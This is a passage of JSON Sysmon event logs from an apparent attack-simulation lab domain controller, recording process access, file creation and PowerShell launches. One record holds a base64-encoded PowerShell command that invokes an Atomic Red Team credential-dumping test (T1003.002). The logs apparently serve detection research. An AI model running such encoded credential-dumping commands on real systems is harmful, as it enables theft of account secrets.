C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.993\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010777E0700}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.993","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010777E0700}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:15.008\r\nProcessGuid: {90617006-415E-5F2D-0000-0010EE7A0700}\r\nProcessId: 1596\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\5j4udmlc.dll\r\nCreationUtcTime: 2020-08-07 11:56:14.899","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:15.008","ProcessGuid":"{90617006-415E-5F2D-0000-0010EE7A0700}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\5j4udmlc.dll","CreationUtcTime":"2020-08-07 11:56:14.899","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.024\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.024","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.024\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.024","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.024\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.024","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.242\r\nProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nProcessId: 5076\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nParentProcessId: 4428\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.242","ProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","ParentProcessId":"4428","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 